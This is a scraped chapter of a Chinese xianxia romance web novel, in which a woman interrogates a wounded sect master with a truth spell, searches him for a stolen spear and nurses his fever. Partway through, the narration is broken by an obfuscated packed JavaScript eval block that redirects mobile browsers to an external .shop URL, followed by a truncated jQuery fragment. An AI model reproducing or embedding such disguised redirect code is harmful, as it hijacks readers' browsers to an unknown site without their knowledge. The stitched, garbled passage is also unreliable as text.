文趣网 > 都市小说 > 血泪教训,不要随便捡男人 > 5. 姐姐说要带我回家
    莫如讳倒是没骗她。

    他们确实到了距离九华宗百里之外的山涧溪谷。

    黎浮生借势扶住莫如讳,没走几步便吃力得两股战战。

    莫如讳自然也感受到了:“找个地方,休整一下。”

    黎浮生依言,寻了个距离最近的山洞,把人扛进去后,又取了些干净的水,喂莫如讳喝下。

    莫如讳靠在嶙峋石壁上,看着她忙上忙下地来回跑了几趟,强行透支修为的身体终是再难维系。

    虚空与疲累感如潮水般将他包裹吞噬,他的眼皮不自觉耷拉,视线里只剩她模糊的影子。

    莫如讳恍然想起,那年那个冬天,将他捡回无名山庄的黎朝暮也是这样,为了照顾重伤的他忙前忙后,即便事务压身,也从不假手于人。

    她对他极好。

    只是造化弄人,再好也是一厢情愿。

    黎浮生拾掇完干柴,好不容易歇下来,忽然发觉莫如讳双眸紧闭,神识已经开始恍惚。

    她赶忙过去,摇着他的肩膀:“莫大宗师,莫大宗师?”

    莫如讳额头覆汗,唇瓣发白,脸色惨淡得几乎和积雪一般。

    应是力竭后的反噬。

    黎浮生柳眉轻拧,又道:“莫如讳?”

    没有应答。

    她唤了好几声,莫如讳好似陷入梦魇,眉头紧锁,看起来痛苦极了。

    黎浮生放下心来,朝着他的眉宇举手捏了审心诀。

    审心决乃是鬼域审判罪人时惯用的法诀,中诀者会凭借最真实最本能的记忆回答施诀者的问题,不可隐瞒撒谎。

    黎浮生不管刑罚,但闲得无事时也跟着学了一二,没想到竟能派上用场。

    “陆方四境围剿鬼域那日,你为何出现在王都城外,持剑伤了黎朝暮?”

    莫如讳受心诀控制,机械地张开嘴唇,从嗓子里挤出几个字。

    “我受……指引,潜伏在高阳城外……”

    他说话断断续续,嗓子也哑得厉害,黎朝暮只能侧耳仔细去听,可即便如此,也只是听到些只言片语。

    她追问道:“你受了谁的指引?”

    莫如讳呜咽一声,还没开口,直接咯出血来。

    黎浮生再度施诀。

    莫如讳五官拧作一团,仿佛是在抵抗咒术的力量。他的嘴角不断溢出殷红,脸色惨淡得愈发厉害。

    黎浮生没有停手,直到听见细若蚊吟的一句:“他。”

    “他是谁?”

    莫如讳:“他,他……”

    黎浮生:“……”

    连审心诀都无法让他说出来,还真是意志坚定啊。

    她可真傻,居然将这样一头白眼狼养在身边三年。

    黎浮生瞬间觉得没意思极了。

    她懒得多说一句话,收了手,摘下虚与委蛇的面具,一脚踢散聚拢成堆的枯柴,气鼓鼓地找了个远离他的地方坐下,骂骂咧咧许久。

    等她情绪稍稍平复了些,瞥了眼莫如讳,又默默回到他身边,伸手翻他的衣服。

    问不出人就算了,枪得拿到吧。

    听莫如讳的语气,断章枪应该已经到了他手上。

    会藏在那儿呢?

    黎浮生翻出个玲珑袋,仔细一瞧,竟然还是她之前丢弃的那只。

    黎浮生指尖抚过上面绣刻的梅花,忍不住勾唇讥笑。

    那时她在练武,不小心将玲珑袋划破了一道口子,她嫌修补麻烦,便随手扔在角落里。

    没想到让莫如讳捡了去。

    还特意缝了朵无名山庄后栽种的黄梅。

    呵,装给谁看呢。

    黎浮生面无表情地打开锦袋,在里面翻找半晌,没发现一点断章枪的影子。

    藏哪儿去了?

    黎浮生琢磨着,手上动作没停。

    她已经在解他的衣裳了。

    大半年过去,指不定莫如讳找了别的储纳物件的新鲜玩意。

    肯定就藏在他身上的某个暗袋里。

    黎浮生剥他的衣服就像剥洋葱一样熟练,剥到最后,只剩一层被血染遍的里衣紧紧贴在他身上,若隐若现地展露出他精瘦的胸肌与腹肌轮廓,描绘出一副成年男子紧实的肌肉线条。

    没有暗袋。

    黎浮生悄悄瞥开眼睛,重新将一层又一层的衣服给他穿回去,小指无意触碰到他的颈部领口。

    过于炽热的温度让黎浮生停下了放肆的动作,她凝眸盯着这张已经浮出红晕的俊脸,瞳色一沉。

    莫如讳不止遭遇反噬,还发烧了?

    他不轻易发烧,可一旦发烧便不是轻易能好的。

    黎浮生下意识伸手去摸他的额头,这手才伸出去,就硬生生停在空中。

    她为什么要管他的死活?

    一只白眼狼,也值得她……

    哦,断章枪还在他这儿。

    黎浮生微凉的掌心贴在莫如讳发汗的额头上,静置片刻,又摸上自己的额头。

    嗯,确实是发烧了。

    黎浮生身上有药。

    她在自己的玲珑袋里翻了半天,除了清热退烧的,什么丹药都有。

    真是屋漏偏逢连夜雨,喝凉水都塞牙啊。

    黎浮生想了想,把散落一地的干柴捡过来,生出一团明火,紧接着将取来的水倒入她随身携带的白浮生里,靠在篝火旁边温热。

    她烧制的杯子质量一般,但受热效果极好,没过一会,水便没有先前那么凉了。

    黎浮生瞟了眼莫如讳。

    依他的习惯,应该马上就会浑身发颤,再然后,便开始无知觉地说些无厘头的呓语,话到激动时还会抓起手边的东西,捏握掐挤地轮番蹂躏一遍,再一个一个往外扔。

    黎浮生没被他砸过,但其他的……

    罢了,离远些总是好的。

    忙活了一晚上的黎浮生挑了个还算平整的石块坐下。

    洞外曦光初显,日头一点一点攀升,照进昏暗的石洞里,落在她的脚边。她盯着洞外高矮不一的树木丛,视线逐渐开始涣散迷离。

    兴奋了一整天又熬了一整晚,对黎浮生这个才在鬼门关前走了一遭的人来说确实有些抗不住了。

    她摇了摇头,强打气精神,摸索到莫如讳身边,给他灌了几口温水。见他哆嗦得厉害,又找出一件鹤氅盖在他身上,掖好领口缝隙。

    死不了就行。

    做完这些,黎浮生整个身躯和精神都已经不听使唤。她脚步虚浮地回到洞口边,头倚在石壁上,沉沉睡去。

    这一觉她睡得很踏实。

    出乎意料地踏实。

    只是在睡梦中,黎浮生总觉得手心有只虫子在蠕动,时不时传来些的痒,忍着难受。她下意识伸手去挠,挠了几次,一只虫子都没抓到。

    她沉下心去睡,没过一会,轻轻柔柔的瘙痒又在她掌心泛滥,甚至缠上了她的手腕。

    黎浮生有些烦了,啪得一下往手心打了一巴掌。

    这下总该……咦?虫子是这手感么?

    她的五指覆在虫上,指尖微微用力。

    又软又硬,如此矛盾。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564017|204648||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    摁了几下,发现这虫子当真是硬的和石头一样。

    难不成她在这小小石洞还能捡到灵兽?

    黎浮生迷迷糊糊睁开眼。

    黄昏落日西斜,石洞里已经照不到什么光线。她睡了太久,视野里还是一片朦胧。还不等意识回归,她就被脚边蜷缩着的庞然大物吓得一激灵。

    这……

    黎浮生眉头一紧。

    庞然大物裹着她的鹤氅,盘成一团,宛如一只餍足小兽,温顺乖巧地睡在她脚边。

    他的脸枕在她的裙摆上,因失血过多显得格外苍白脆弱。长而密的眼睫落出一片阴影,阴影遮掩下,靠近眼珠的下眼睑处有一颗芝麻大小的红痣,落在这儿,如血泪悬盈,活似史书上祸国殃民的妖狐。

    妖狐的右手正被她握在手心。

    方才那一巴掌没有把他打醒。

    黎浮生眉头越皱越深,几乎要挤出一个川形来。

    什么时候养成了梦游的坏毛病?自己梦游就算了,还来挠她痒痒。

    她拍了拍莫如讳的肩膀。

    他的身体不再滚烫。

    “莫大宗师?”

    莫如讳睡得香甜,连嘴角都是微微扬起的。

    “莫宗师?”

    莫如讳:“……”

    黎浮生啧了一声,又道:“莫宗师,莫宗师?醒醒,换个地方睡觉。”

    莫如讳神色安详,鼻息绵长。

    黎浮生无奈,想站起来偏偏被压住了裙摆。她叹了口气,放柔了声音:“莫如讳,你压着我的裙子了。”

    她一边说着,一边试图将自己的裙子拽出来,可莫如讳不仅枕了脸,小半个身子都压在上面。

    她拽不动分毫。

    要不……撕了边角?

    不行,这套宗门服饰才穿了几次,她可舍不得。

    还是把人弄醒吧。

    黎浮生铁了心,使劲晃动莫如讳的肩头,声音也不觉拔高了起来:“莫如讳!莫如讳!快醒醒,莫如讳!”

    她用了狠劲,恨不得把指头嵌进他的肉里。莫如讳一身暗色玄装已经干透,捏起来有股生涩的僵硬。

    他恍恍惚惚从睡梦中苏醒,睁着一双懵然的眼睛,愣愣看着黎浮生。

    当真是只纯净无害的绝色狐狸。

    黎浮生有些烦躁,趁他起身,忙不迭将裙子拢回来。

    “九华宗丢了断章枪,现在定是在寻你。莫大宗主既然醒了,便同我一起离开此处吧。”

    说完,她起身就要走,没活动两下,右脚忽然传来一阵虫蚁啃噬的酥麻。她扶着壁岩,等这阵酥麻散去,莫如讳忽然扯住她的衣袖。

    黎浮生头都不想回。

    “又怎么了?”她有些不耐烦。

    莫如讳站在她身后,怯生生问:“你要带我回家么?”

    黎浮生:“……嗯?”

    回家?

    回什么家?

    莫如讳见她似乎想要拒绝,拽着她袖口的手立即攀上她的手腕,紧紧抓住。

    “你说你会带我回家的,你不能耍赖。”

    他语气急切又怯懦,生怕她抛弃他独自离开,黎浮生有些懵了。

    这又是演哪一出?

    她什么时候说要带他回家了?

    黎浮生侧过脸,仰头看着这个比她高出一个脑袋的人,很是认真地问道:“莫宗师,你是睡傻了么?”

    莫如讳固执又别扭地盯着她,一道暗红血迹从颧骨斜向嘴角。他同样认真地回答:“你说过,你会带我回家,你不能骗我。”